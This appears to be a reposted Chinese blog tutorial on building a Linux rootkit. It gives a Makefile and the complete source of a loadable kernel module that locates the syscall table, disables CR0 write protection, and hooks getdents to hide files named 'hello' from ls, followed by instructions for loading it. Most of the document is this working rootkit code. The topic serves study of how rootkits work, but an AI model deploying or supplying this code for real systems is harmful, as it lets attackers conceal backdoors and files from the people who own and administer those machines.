Rootkit实战——ls篇

来源:互联网 发布:数据库join例子 编辑:程序博客网 时间:2024/06/17 00:30

     rootkit科普:Rootkit是一个或者多个用于隐藏、控制一台计算机的工具包,该技术被越来越多地应用于一些恶意软件中。在基于Windows的系统中Rootkit更多地用于隐藏程序或进程,系统被注入Rootkit后就可以在不为用户察觉的情况下进行某些操作。因此,其隐蔽性极高,危害也极大。

rootkit工作原理:攻击者想要在受害者的电脑上搞破坏时,比如装后门程序,总会留下一些蛛丝马迹,而受害者只需通过一些
特殊操作,譬如ps一下,就会很容易看到后台运行的后门程序,知道自己被攻击了。为了使攻击更加隐蔽,攻击者往往会通过修
统调用,比如修改ls、netstat等,这种替换掉系统原有的普通命令,换成自己特殊目的的可执行文件,属于rootkit的核心。

在实现rootkit之前,我们需了解一下LKM(可加载内核模块)LKM的全称为Loadable Kernel Modules,中文名为可加载内
核模块,主要作用是用来扩展linux的内核功能。LKM的优点在于可以动态地加载到内存中,无须重新编译内核。由于LKM具有
这样的特点,所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。当然因为其优点,也经常用于rootkit技术当中。

本人的Linux内核版本: (命令行输入:cat /proc/version
                            Linux version 4.10.0-38-generic (buildd@lgw01-amd64-059) (gcc version 5.4.0 20160609
                            (Ubuntu 5.4.0-6ubuntu1~16.04.4) )#42~16.04.1-Ubuntu SMP Tue Oct 10 16:32:20 UTC 2017
 Linux系统版本: (命令行输入:lsb_release -a)
                           Distributor ID:Ubuntu
                           Description:Ubuntu 16.04.3 LTS
                           Release: 16.04
要运行LKM程序,我们首先要编译一下,即Makefile,代码如下:
#drop_all:drop_all.c #gcc -o drop_all drop_all.c#clean:#rm *.oobj-m += HIDE_ls.o  // HIDE_ls.o即为要编译到内核的代码名all:make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modulesclean:make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean


接下来,让我们看看实现代码(HIDE_ls.c):
#include <linux/module.h>#include <linux/kernel.h>#include <asm/unistd.h>#include <linux/types.h>#include <linux/sched.h>#include <linux/dirent.h>#include <linux/string.h>#include <linux/file.h>#include <linux/fs.h>#include <linux/list.h>#include <asm/uaccess.h>#include <linux/unistd.h>#include <linux/init.h>#include <linux/slab.h>struct linux_dirent{    unsigned long     d_ino;    unsigned long     d_off;    unsigned short    d_reclen;    char    d_name[1];};static unsigned long ** sys_call_table;char psname[10]="hello";char *processname=psname;long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp,                    unsigned int count);void disable_write_protection(void)      //取消写保护{        unsigned long cr0 = read_cr0();        clear_bit(16, &cr0);        write_cr0(cr0);}void enable_write_protection(void)       //打开写保护{        unsigned long cr0 = read_cr0();        set_bit(16, &cr0);        write_cr0(cr0);}void *get_lstar_sct_addr(void){    u64 lstar;    u64 index;    rdmsrl(MSR_LSTAR, lstar);   /*可获得系统调用的入口地址,                                然后对该入口地址进行解析得                                到入口函数为system_call*/    for (index = 0; index <= PAGE_SIZE; index += 1) {        u8 *arr = (u8 *)lstar + index;        if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {     /*从0中断服务程序system_call的地址                                                                      开始搜索硬编码 \xff\x14\x85,                                                                      这块硬编码的后面紧接着就是系统调用表的地址 */            return arr + 3;        }    }    return NULL;}unsigned long **get_lstar_sct(void){    unsigned long *lstar_sct_addr = get_lstar_sct_addr();    if (lstar_sct_addr != NULL) {        u64 base = 0xffffffff00000000;        u32 code = *(u32 *)lstar_sct_addr;        return (void *)(base | code);      //Linux x86_64使用的LP64字长模式    } else {        return NULL;    }                                         }/*修改的系统调用,替换原来的sys_getdents.系统调用getdents()从中读取多个linux_dirent结构 通过打开的文件描述符简称目录FD进入由dirp指向的缓冲区。参数数量指定的大小那个缓冲区。 */   asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp,  unsigned int count){                                                                               struct linux_dirent *dp,*pos,*buf1,*buf2;  int fd_len;int copy_len = 0;     fd_len = (*orig_getdents) (fd, dirp, count);  //调用sys_getdents,返回该目录文件下目录的总字节数    if (!fd_len) {        printk("fd is empty.\n");        return (fd_len);      }    buf1 = (struct linux_dirent *) kmalloc(fd_len, GFP_KERNEL);    buf2 = (struct linux_dirent *) kmalloc(fd_len, GFP_KERNEL);    dp = buf1;    pos = buf2;    copy_from_user(buf2, dirp, fd_len);   //将用户空间的数据copy到buf2中,即内核空间      while(fd_len>0){        printk("%s\n",buf2->d_name);
      // 假如找到要隐藏的文件名,直接跳过不处理,其他的均COPY给buf1
        if(strstr(buf2->d_name,processname) == NULL){                        printk("Don't find process\n");             memmove(buf1, (char *) buf2 , buf2->d_reclen);            buf1 = (struct linux_dirent *) ((char *)buf1 + buf2->d_reclen);            copy_len = copy_len + buf2->d_reclen;        }        fd_len = fd_len - buf2->d_reclen;        buf2 = (struct linux_dirent *) ((char *)buf2 + buf2->d_reclen);       }    copy_to_user(dirp, dp, copy_len);   // 将copy来数据送回用户空间    kfree(dp);     kfree(pos);    return (copy_len);  }static int enter(void){       sys_call_table = get_lstar_sct();    if (!sys_call_table)    {        printk("get_act_addr(): NULL...\n");        return 0;    }    else{        printk("sct: 0x%p\n", (unsigned long)sys_call_table[__NR_getdents]);        orig_getdents = (void *)sys_call_table[__NR_getdents];    //保存原来的系统调用         disable_write_protection();                       //取消写保护位        sys_call_table[__NR_getdents] = (unsigned long *)&hacked_getdents;  //替换成我们自己写的系统调用        enable_write_protection();        printk(KERN_INFO "hideps: module loaded.\n");    return 0;    }   }static void go_out(void){    disable_write_protection();    sys_call_table[__NR_getdents] = (unsigned long *)orig_getdents; //恢复默认的系统调用    enable_write_protection();    printk(KERN_INFO "hideps: module removed\n");}MODULE_LICENSE("GPL");module_init(enter);module_exit(go_out);

实现过程:

1,在某一文件夹下创建名“hello”文件夹和文件

2,此时用ls命令,可以清楚看到名“hello”文件夹和文件。

可见有hello文件夹。

3,编译HIDE_ls.c 生成模块HIDE_ls.ko


4,把模块HIDE_ls.ko,用命令 insmod 加载进内核

5,再次用 ls命令,发现之前的hellow文件夹被隐藏


6,最后要记得rmmod掉HIDE_ls.ko。

ps:用其他的内核版本可能会失败,旦整体思路如上所示,以上内容假如有啥错误的请一定指出,本人就是喜欢接受批评,大家可以一起讨论,

谢谢大家!微笑微笑